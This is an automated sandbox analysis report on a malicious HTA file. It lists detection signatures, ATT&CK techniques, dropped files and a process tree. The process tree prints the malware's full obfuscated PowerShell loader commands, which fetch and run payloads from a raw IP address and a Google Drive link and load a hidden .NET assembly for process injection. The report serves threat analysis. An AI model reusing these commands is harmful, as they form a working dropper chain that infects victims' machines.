8e6892c56c8c98976d8f803126afeca1363b6bce6c461512c0258d361982d3e5

Analysis

max time kernel
150s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
06-11-2024 07:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

createdbestthingswithentirelifewithgoodfeaturesareonhere.hta
Size

206KB
MD5

40eb4da176e3f591e3fc3e0bca69344d
SHA1

616daeccc5d5728d358761c07002ba57f6095d77
SHA256

8e6892c56c8c98976d8f803126afeca1363b6bce6c461512c0258d361982d3e5
SHA512

bc2121a275d81ff4a4e4238192c65746067906ed56092dbeabdc26cf6cb878143229e5fad0770884d55978b46672c0fc11f02e01f6534125657cde75a6f300bc
SSDEEP

96:43F97AKid6lxkzJd6JxkzZtThPFINQy1ynyFd6Dd6kxkzbd6yQ:43F1AKefLhZtTPy1ynyPGgJhQ

Score

10^/10

defense_evasion discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

Blocklisted process makes network request 34 IoCs

flow	pid	Process
22	4224	PoWErSHEll.EXe
28	3268	powershell.exe
32	3268	powershell.exe
37	3268	powershell.exe
52	4520	mshta.exe
55	4520	mshta.exe
59	4520	mshta.exe
61	4520	mshta.exe
63	4520	mshta.exe
64	4520	mshta.exe
68	4520	mshta.exe
69	4520	mshta.exe
70	4520	mshta.exe
71	4520	mshta.exe
72	4520	mshta.exe
76	4520	mshta.exe
81	4520	mshta.exe
82	4520	mshta.exe
83	4520	mshta.exe
84	4520	mshta.exe
99	4520	mshta.exe
101	4520	mshta.exe
102	4520	mshta.exe
103	4520	mshta.exe
104	4520	mshta.exe
106	4520	mshta.exe
108	4520	mshta.exe
109	4520	mshta.exe
110	4520	mshta.exe
111	4520	mshta.exe
113	4520	mshta.exe
115	4520	mshta.exe
116	4520	mshta.exe
117	4520	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1292	powershell.exe
3268	powershell.exe

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
4224	PoWErSHEll.EXe
2704	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
27	drive.google.com
28	drive.google.com

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 3268 set thread context of 3944	3268	powershell.exe	106
PID 3944 set thread context of 4520	3944	aspnet_compiler.exe	83
PID 3944 set thread context of 2328	3944	aspnet_compiler.exe	107
PID 2328 set thread context of 4520	2328	ieUnatt.exe	83
PID 2328 set thread context of 2696	2328	ieUnatt.exe	113

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ieUnatt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PoWErSHEll.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\Registry\User\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2	ieUnatt.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	PoWErSHEll.EXe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
4224	PoWErSHEll.EXe
4224	PoWErSHEll.EXe
2704	powershell.exe
2704	powershell.exe
1292	powershell.exe
1292	powershell.exe
3268	powershell.exe
3268	powershell.exe
3268	powershell.exe
3944	aspnet_compiler.exe
3944	aspnet_compiler.exe
3944	aspnet_compiler.exe
3944	aspnet_compiler.exe
3944	aspnet_compiler.exe
3944	aspnet_compiler.exe
3944	aspnet_compiler.exe
3944	aspnet_compiler.exe
2328	ieUnatt.exe
2328	ieUnatt.exe
2328	ieUnatt.exe
2328	ieUnatt.exe
2328	ieUnatt.exe
2328	ieUnatt.exe
2328	ieUnatt.exe
2328	ieUnatt.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
3944	aspnet_compiler.exe
4520	mshta.exe
4520	mshta.exe
2328	ieUnatt.exe
2328	ieUnatt.exe
2328	ieUnatt.exe
2328	ieUnatt.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4224	PoWErSHEll.EXe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe
Token: SeDebugPrivilege	3268	powershell.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 4520 wrote to memory of 4224	4520	mshta.exe	84
PID 4520 wrote to memory of 4224	4520	mshta.exe	84
PID 4520 wrote to memory of 4224	4520	mshta.exe	84
PID 4224 wrote to memory of 2704	4224	PoWErSHEll.EXe	88
PID 4224 wrote to memory of 2704	4224	PoWErSHEll.EXe	88
PID 4224 wrote to memory of 2704	4224	PoWErSHEll.EXe	88
PID 4224 wrote to memory of 4180	4224	PoWErSHEll.EXe	93
PID 4224 wrote to memory of 4180	4224	PoWErSHEll.EXe	93
PID 4224 wrote to memory of 4180	4224	PoWErSHEll.EXe	93
PID 4180 wrote to memory of 4664	4180	csc.exe	94
PID 4180 wrote to memory of 4664	4180	csc.exe	94
PID 4180 wrote to memory of 4664	4180	csc.exe	94
PID 4224 wrote to memory of 1720	4224	PoWErSHEll.EXe	97
PID 4224 wrote to memory of 1720	4224	PoWErSHEll.EXe	97
PID 4224 wrote to memory of 1720	4224	PoWErSHEll.EXe	97
PID 1720 wrote to memory of 1292	1720	WScript.exe	98
PID 1720 wrote to memory of 1292	1720	WScript.exe	98
PID 1720 wrote to memory of 1292	1720	WScript.exe	98
PID 1292 wrote to memory of 3268	1292	powershell.exe	104
PID 1292 wrote to memory of 3268	1292	powershell.exe	104
PID 1292 wrote to memory of 3268	1292	powershell.exe	104
PID 3268 wrote to memory of 3944	3268	powershell.exe	106
PID 3268 wrote to memory of 3944	3268	powershell.exe	106
PID 3268 wrote to memory of 3944	3268	powershell.exe	106
PID 3268 wrote to memory of 3944	3268	powershell.exe	106
PID 3268 wrote to memory of 3944	3268	powershell.exe	106
PID 3268 wrote to memory of 3944	3268	powershell.exe	106
PID 4520 wrote to memory of 2328	4520	mshta.exe	107
PID 4520 wrote to memory of 2328	4520	mshta.exe	107
PID 4520 wrote to memory of 2328	4520	mshta.exe	107
PID 2328 wrote to memory of 2696	2328	ieUnatt.exe	113
PID 2328 wrote to memory of 2696	2328	ieUnatt.exe	113

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\createdbestthingswithentirelifewithgoodfeaturesareonhere.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4520
- C:\Windows\SysWOW64\WinDOwsPOWeRSHEll\V1.0\PoWErSHEll.EXe
  "C:\Windows\sySTEm32\WinDOwsPOWeRSHEll\V1.0\PoWErSHEll.EXe" "pOWERSHeLl.exE -Ex ByPasS -noP -W 1 -c DEvICeCreDENtIalDePLoyMENt.EXE ; iex($(IeX('[sySTem.tEXT.enCODING]'+[ChaR]58+[ChaR]0X3A+'utf8.GEtSTrIng([SYsTeM.CONveRt]'+[Char]0X3a+[char]58+'FrOMbaSE64sTrING('+[CHaR]0x22+'JFlzRURKSE91ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC1UWXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJlUmRFZkluaVRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJsTU9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5BbnNpKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS1ZJLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5vS2phdURuVEQsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSlcsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhmaFVXbUR6WlIsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTFVIVyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIll2IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1FU3BBY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBKcFlOUHYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFlzRURKSE91OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My40LjIzLzY2L3NlZXRoZWJlc3R0aGluZ3N3aXRobWVncmVhdHdpdGhlbnRpcmVsaWZld2l0aGdvb2R0aGluZ3MudElGIiwiJEVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3N3aXRobWVncmVhdHdpdGhlbnRpcmVsaWZld2l0aGdvb2R0aC52YnMiLDAsMCk7U3RBcnQtU2xlZVAoMyk7c3RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3R0aGluZ3N3aXRobWVncmVhdHdpdGhlbnRpcmVsaWZld2l0aGdvb2R0aC52YnMi'+[cHAR]34+'))')))"
  2⤵
  - Blocklisted process makes network request
  - Evasion via Device Credential Deployment
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4224
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPasS -noP -W 1 -c DEvICeCreDENtIalDePLoyMENt.EXE
    3⤵
    - Evasion via Device Credential Deployment
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2704
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qogo0w23\qogo0w23.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2815.tmp" "c:\Users\Admin\AppData\Local\Temp\qogo0w23\CSC467DD9FF8EEF497CBE238EC79AE74177.TMP"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4664
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingswithmegreatwithentirelifewithgoodth.vbs"
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCd4WDZpbWEnKydnZVVybCA9IEYzVGh0dHBzOi8vZHJpdmUuZ29vZ2xlLmNvbS91Yz9lJysneHBvcnQ9JysnZG93bmxvYWQmaWQnKyc9MVV5SHF3cm5YQ2xLQkozajYzTGwxdDJTdFZnR3hiU3QwJysnIEYzVDt4WDZ3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuJysnV2ViQ2xpZW50O3hYNmltJysnYWdlQnl0ZScrJ3MgPSB4WDZ3ZWJDbGllbnQuRG93bmxvYWREYXRhKCcrJ3hYNmltYWdlVXJsJysnKTt4WDZpbWFnZVRleHQgPSBbU3lzdCcrJ2VtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyh4WDZpbWFnZScrJ0J5dGVzKTt4JysnWDZzdGFydEZsYWcgPSBGM1Q8PEJBU0U2NF9TVEFSVD4+RjNUO3hYNmVuZEZsYWcgPSBGM1Q8PEJBU0U2NF9FTkQ+PkYzVDt4WDZzdGFydEluZGV4ID0geFg2aW1hZ2VUZXgnKyd0LkluZGV4T2YoeFg2c3RhcnRGbGFnKTt4WDZlbmRJbmRleCA9IHhYNmltYWdlVGV4dC5JbmRleE9mKHhYNmVuZEZsYWcpO3hYNnN0YXJ0SW5kZXggLWdlIDAgLWFuZCB4WDZlbmRJbmRleCAtZ3QgeFg2cycrJ3RhcnRJbmRleDt4JysnWDZzdGFydEluZGV4ICs9IHhYNnN0YScrJ3J0RmxhZy5MZW5ndGg7eFg2YicrJ2FzZTY0TGVuZ3RoID0geFg2ZW5kSW5kZXggLSB4WDZzdGFydEluZGV4O3hYNmJhc2U2NENvbW0nKydhbmQgPSB4WDZpbWFnZVQnKydleHQuU3Vic3RyaW5nKHhYNnN0YXJ0SW5kZXgnKycsICcrJ3hYNmJhc2U2NExlbmd0aCk7eFg2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoeFg2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFluViBGb3JFYWNoLU9iamVjdCB7IHhYNl8nKycgfScrJylbLTEuLi0oeFg2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTt4WDZjbycrJ21tYScrJ25kQnl0ZXMgPSBbU3lzJysndGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKHhYNmJhc2U2NFJldmVyc2VkKTt4WDZsJysnb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbCcrJ2VjdGlvbi5Bc3NlbWJseV06OkxvYWQoeFg2Y29tbWFuZEJ5dGVzKTt4JysnWDZ2YWlNZScrJ3Rob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TScrJ2V0aG9kKEYnKyczVFZBSUYzVCk7eFg2dmFpTWV0aG9kLkludm9rZSh4WDZudWxsLCBAKEYzVHR4dC5MRVNTQUMvJysnNjYvMzIuNC4zNzEuNzAxLy86cHR0aEYzVCwgRjNUZGVzYXRpJysndmFkb0YzVCwgRjNUZGVzYXRpdmFkb0YzVCwgRjNUZGVzYXRpdmFkb0YzVCwgRjNUYXNwbmV0X2NvbXBpbGVyRjNULCBGM1RkZXNhdGl2YWRvRjNULCBGM1RkZXNhdGl2YWRvJysnRjNULEYzVGRlc2F0aXZhZG9GM1QsRjNUZGVzYScrJ3RpdmFkb0YzVCxGM1RkZXNhdGl2YWRvRjNULEYzVCcrJ2Rlc2F0aXZhZG9GM1QsRjNUZGVzYXRpdmFkb0YzVCxGM1QxRjNULEYzVGRlc2F0aXZhZG9GM1QpKTsnKS5yRXBMQWNlKChbQ2hBUl0xMjArW0NoQVJdODgrW0NoQVJdNTQpLFtTVHJpTmddW0NoQVJdMzYpLnJFcExBY2UoJ1luVicsW1NUcmlOZ11bQ2hBUl0xMjQpLnJFcExBY2UoJ0YzVCcsW1NUcmlOZ11bQ2hBUl0zOSkgfCYgKCAkU2hFTExJZFsxXSskc2hlbGxpRFsxM10rJ3gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1292
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('xX6ima'+'geUrl = F3Thttps://drive.google.com/uc?e'+'xport='+'download&id'+'=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0'+' F3T;xX6webClient = New-Object System.Net.'+'WebClient;xX6im'+'ageByte'+'s = xX6webClient.DownloadData('+'xX6imageUrl'+');xX6imageText = [Syst'+'em.Text.Encoding]::UTF8.GetString(xX6image'+'Bytes);x'+'X6startFlag = F3T<<BASE64_START>>F3T;xX6endFlag = F3T<<BASE64_END>>F3T;xX6startIndex = xX6imageTex'+'t.IndexOf(xX6startFlag);xX6endIndex = xX6imageText.IndexOf(xX6endFlag);xX6startIndex -ge 0 -and xX6endIndex -gt xX6s'+'tartIndex;x'+'X6startIndex += xX6sta'+'rtFlag.Length;xX6b'+'ase64Length = xX6endIndex - xX6startIndex;xX6base64Comm'+'and = xX6imageT'+'ext.Substring(xX6startIndex'+', '+'xX6base64Length);xX6base64Reversed = -join (xX6base64Command.ToCharArray() YnV ForEach-Object { xX6_'+' }'+')[-1..-(xX6base64Command.Length)];xX6co'+'mma'+'ndBytes = [Sys'+'tem.Convert]::FromBase64String(xX6base64Reversed);xX6l'+'oadedAssembly = [System.Refl'+'ection.Assembly]::Load(xX6commandBytes);x'+'X6vaiMe'+'thod = [dnlib.IO.Home].GetM'+'ethod(F'+'3TVAIF3T);xX6vaiMethod.Invoke(xX6null, @(F3Ttxt.LESSAC/'+'66/32.4.371.701//:ptthF3T, F3Tdesati'+'vadoF3T, F3TdesativadoF3T, F3TdesativadoF3T, F3Taspnet_compilerF3T, F3TdesativadoF3T, F3Tdesativado'+'F3T,F3TdesativadoF3T,F3Tdesa'+'tivadoF3T,F3TdesativadoF3T,F3T'+'desativadoF3T,F3TdesativadoF3T,F3T1F3T,F3TdesativadoF3T));').rEpLAce(([ChAR]120+[ChAR]88+[ChAR]54),[STriNg][ChAR]36).rEpLAce('YnV',[STriNg][ChAR]124).rEpLAce('F3T',[STriNg][ChAR]39) |& ( $ShELLId[1]+$shelliD[13]+'x')"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3268
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:3944
- C:\Windows\SysWOW64\ieUnatt.exe
  "C:\Windows\SysWOW64\ieUnatt.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Program Files\Mozilla Firefox\Firefox.exe
    "C:\Program Files\Mozilla Firefox\Firefox.exe"
    3⤵
    PID:2696

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\PoWErSHEll.EXe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
12KB

MD5
5f5b6eda0d051e24fb7f94106ae78aad

SHA1
8dcdfa314a98e62c33610aff54bbbd25ce02ef76

SHA256
3584130902a208251c115536d6c330731ecf5ec9ebb5b8a16ced013ab2f2441c

SHA512
a0fcfaa6f788f601db8be17f3a824dd10ee291a4cb0b2903f8378909f5f73ee0760c430718da48d0d6e8f6dcb775d752232f6ab99a0db91da79bf623e09e927b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
2ae3e9b8e1568b79cf9be0b8babcd8b4

SHA1
4096b8a62bffc6126ec8dd5f25019afba61d4392

SHA256
eb8dfe82a6cbf226bd4530656bdda8436ace185249da8072bc2cf30db52b8d54

SHA512
92bb38de6a6b9ea9a143880c2480f75d556370c8e6447fcc70f46e91d49f7a5291da41325997d2976cd6bd8a58116f19ec78993f52d0a73e7873bb1b9fa383e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES2815.tmp

Filesize
1KB

MD5
33ec4ea3a43a3fa79e7a12967fc177d1

SHA1
94aead150ecd0b83770a326990605f47b59bcb62

SHA256
a5a20d06af27e82c3fe0b90ace2e883b63d3d208b3faebe7ae68bf6fa2e7cb7c

SHA512
8d5c9af83d8ac9301dfd437e588752a507493684a718808652a596b682baaf46e750e43104f3eb267dfcb4c948969f8e4abfa3bfdb4f0876db320630ed5fe839

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wd3ivbrn.yvr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\qogo0w23\qogo0w23.dll

Filesize
3KB

MD5
9b6d6d7c69ded79d12553c04fac121b9

SHA1
17549ccd7a4797cbedf11369e827e2aa33de781b

SHA256
8e80d9b85e9471e4bc17a2658c3065c97788eaa4e999fa1b1082c40bb3162d98

SHA512
905b190e58cd34898ea4096f6fcd3112b421dcc647af742348a0a2a6cc6a7eeca652a9c75a569e7633a635ba3dc548d2bd7b68be1ffc09ca07f7d5dff4448185

Download Submit
C:\Users\Admin\AppData\Roaming\seethebestthingswithmegreatwithentirelifewithgoodth.vbs

Filesize
138KB

MD5
4bbb30fded9fd12bffb37261d39e8139

SHA1
31b47da89bcba90315661300076b567f6682f33b

SHA256
2ba56dfa938b61c01b9c3db3ff37f975af3cd3a883aae027feb6d59537d0f72e

SHA512
e8a5e561bbd94b9439d11b7d2e161c036610754fbca5dafbbee830ae8703714d1e7b86da1e257e485cdf942651991452516561e9ed242f61b93729e623cb7b92

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qogo0w23\CSC467DD9FF8EEF497CBE238EC79AE74177.TMP

Filesize
652B

MD5
17c7243743d6d535ccd0d9afd6d4aa06

SHA1
aadcac0690cc946c8ea47e7878122f5ced5f70ce

SHA256
f69bd6f805e9a3a2f8d88e58f4afc080fa0aba1aedfa747f311e244703f0c68a

SHA512
a1f16692bce70f45aec1266aae9ea4ad59cd1d7a1eff4ddd7ff2b0f4cfb895a6cc7392efe2683ae38f96742e087b09b38620d576967f7aa7c8686dc85a6e7b07

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qogo0w23\qogo0w23.0.cs

Filesize
467B

MD5
20f1899a90d8d923e72108e6375f7f61

SHA1
a4208600d31f73bbd9698c7c8136415a1462f2f5

SHA256
8a577d1ab0482d3828f19fceffb2f1bab9b17aa96f8673e6ba0892eb36330ed4

SHA512
7c70f145982ba48be956c1aa11b0a638bd8a8f0cf1e5d41f117943efcff94281f00519f0dff67d8e30857765ef1404160b0cc9105bd7f76c6ce81722e507ebc1

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\qogo0w23\qogo0w23.cmdline

Filesize
369B

MD5
cbeaa1eda460fec457fe0adcbc2c6016

SHA1
e079fb53e8fcbcbb58d3042ac9eb2ac2a975e2cc

SHA256
73a1267145b00885b1573cb6c02653ffed0375ee1ef2e2859a496c5e775b89d3

SHA512
bfaebdf24f1d9b1b9e77946ef6d7090f3bc6140001603d8e4036a82b8accf8700caad4e7c200e256283494894fb1593dbe88d5caad7e5f7629ef1a93fe0a6847

Download Submit
memory/1292-87-0x0000000005E50000-0x00000000061A4000-memory.dmp

Filesize
3.3MB

Download
memory/2328-108-0x0000000000FA0000-0x0000000000FE3000-memory.dmp

Filesize
268KB

Download
memory/2328-109-0x0000000000FA0000-0x0000000000FE3000-memory.dmp

Filesize
268KB

Download
memory/2696-117-0x000001897B510000-0x000001897B5E5000-memory.dmp

Filesize
852KB

Download
memory/2704-30-0x000000006E1A0000-0x000000006E1EC000-memory.dmp

Filesize
304KB

Download
memory/2704-47-0x0000000007440000-0x000000000744E000-memory.dmp

Filesize
56KB

Download
memory/2704-42-0x0000000007850000-0x0000000007ECA000-memory.dmp

Filesize
6.5MB

Download
memory/2704-43-0x0000000007210000-0x000000000722A000-memory.dmp

Filesize
104KB

Download
memory/2704-44-0x0000000007270000-0x000000000727A000-memory.dmp

Filesize
40KB

Download
memory/2704-45-0x00000000074A0000-0x0000000007536000-memory.dmp

Filesize
600KB

Download
memory/2704-46-0x0000000007410000-0x0000000007421000-memory.dmp

Filesize
68KB

Download
memory/2704-41-0x0000000006ED0000-0x0000000006F73000-memory.dmp

Filesize
652KB

Download
memory/2704-48-0x0000000007450000-0x0000000007464000-memory.dmp

Filesize
80KB

Download
memory/2704-49-0x0000000007560000-0x000000000757A000-memory.dmp

Filesize
104KB

Download
memory/2704-50-0x0000000007490000-0x0000000007498000-memory.dmp

Filesize
32KB

Download
memory/2704-40-0x0000000006EB0000-0x0000000006ECE000-memory.dmp

Filesize
120KB

Download
memory/2704-29-0x00000000064B0000-0x00000000064E2000-memory.dmp

Filesize
200KB

Download
memory/3268-103-0x00000000072A0000-0x000000000733C000-memory.dmp

Filesize
624KB

Download
memory/3268-102-0x0000000007140000-0x0000000007298000-memory.dmp

Filesize
1.3MB

Download
memory/3944-104-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/4224-71-0x00000000718EE000-0x00000000718EF000-memory.dmp

Filesize
4KB

Download
memory/4224-10-0x0000000005B90000-0x0000000005BB2000-memory.dmp

Filesize
136KB

Download
memory/4224-72-0x00000000718E0000-0x0000000072090000-memory.dmp

Filesize
7.7MB

Download
memory/4224-73-0x0000000007770000-0x0000000007792000-memory.dmp

Filesize
136KB

Download
memory/4224-74-0x0000000008730000-0x0000000008CD4000-memory.dmp

Filesize
5.6MB

Download
memory/4224-17-0x0000000005F40000-0x0000000006294000-memory.dmp

Filesize
3.3MB

Download
memory/4224-15-0x0000000005ED0000-0x0000000005F36000-memory.dmp

Filesize
408KB

Download
memory/4224-16-0x0000000005D70000-0x0000000005DD6000-memory.dmp

Filesize
408KB

Download
memory/4224-81-0x00000000718E0000-0x0000000072090000-memory.dmp

Filesize
7.7MB

Download
memory/4224-65-0x0000000007500000-0x0000000007508000-memory.dmp

Filesize
32KB

Download
